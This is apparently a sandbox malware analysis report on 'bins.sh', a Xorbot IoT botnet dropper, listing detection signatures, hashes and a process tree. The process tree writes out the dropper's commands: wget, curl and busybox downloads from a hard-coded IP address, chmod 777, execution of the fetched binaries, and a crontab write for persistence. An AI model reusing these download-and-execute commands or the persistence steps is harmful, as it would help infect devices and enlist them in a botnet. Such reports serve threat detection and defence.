Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/02/2025, 06:22

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250228-g414estrt8
  • SHA256 0c1a0ababd6c481377018db4947b0ee4d22d820106e7e8932825ef3dc27d704d
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1983) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:660
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:662
      • /usr/bin/wget
        wget http://37.44.238.88/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
        • Writes file to tmp directory
        PID:664
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:681
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
        • Writes file to tmp directory
        PID:688
      • /bin/chmod
        chmod 777 rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
        • File and Directory Permissions Modification
        PID:690
      • /tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        ./rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
          PID:692
        • /bin/rm
          rm rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
          2⤵
            PID:694
          • /usr/bin/wget
            wget http://37.44.238.88/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
            • Writes file to tmp directory
            PID:695
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:696
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
            • Writes file to tmp directory
            PID:698
          • /bin/chmod
            chmod 777 bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
            • File and Directory Permissions Modification
            PID:702
          • /tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            ./bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
              PID:703
            • /bin/rm
              rm bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
              2⤵
                PID:706
              • /usr/bin/wget
                wget http://37.44.238.88/bins/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                2⤵
                • Writes file to tmp directory
                PID:707
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:713
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                2⤵
                • Writes file to tmp directory
                PID:720
              • /bin/chmod
                chmod 777 zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                2⤵
                • File and Directory Permissions Modification
                PID:723
              • /tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                ./zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                2⤵
                  PID:724
                • /bin/rm
                  rm zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                  2⤵
                    PID:727
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    2⤵
                    • Writes file to tmp directory
                    PID:728
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:738
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    2⤵
                    • Writes file to tmp directory
                    PID:745
                  • /bin/chmod
                    chmod 777 6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    2⤵
                    • File and Directory Permissions Modification
                    PID:750
                  • /tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    ./6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    2⤵
                    • Renames itself
                    • Reads runtime system information
                    PID:752
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:754
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:755
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:757
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:758
                        • /bin/rm
                          rm 6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                          2⤵
                            PID:765
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H
                            2⤵
                            • Writes file to tmp directory
                            PID:768

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                              • Path /tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                              • Size 177KB
                              • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
                              • Path /tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
                              • Size 98KB
                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H
                              • Path /tmp/gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H
                              • Size 91KB
                              • SHA256 981dc718aff7dba27785be3b1e91b396c72beea359daa62fcbfd49b3b1e62475
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
                              • Path /tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
                              • Size 99KB
                              • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                              • Path /tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                              • Size 111KB
                              • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              tmp.FzkRts
                              • Path /var/spool/cron/crontabs/tmp.FzkRts
                              • Size 210B
                              • SHA256 eba2ff6df1621f084dc87dca9db587d46d967a6204019d620e49da88e0cae85f
                              • MD5 SHA1 SHA512
                              Submit Download